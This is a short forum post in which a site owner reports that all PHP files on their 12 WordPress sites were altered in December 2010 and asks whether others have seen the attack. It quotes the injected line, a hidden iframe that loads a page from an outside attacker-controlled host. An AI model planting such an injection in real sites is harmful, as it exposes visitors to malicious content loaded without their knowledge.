 * The 12 WordPress sites I run on shared hosting server with Gradwell (located 
   in the UK) were subject to a particular simple but vicious attack: ALL the php
   WP files, including the plugins files, were modified with the adding of _iframe
   src=”[http://gaccess.dynsite.net/blog/wp-content/0wn3d/&#8221](http://gaccess.dynsite.net/blog/wp-content/0wn3d/&#8221);
   style=”display:none”_ at the end of each file, rendering the affected sites invisible,
   including the backends!
 * The modification dates were all 14 December 2010, around 22h25 GMT.
 * My host provider was very helpful and helped me clean the files.
 * Have you seen or heard of such an attack before?
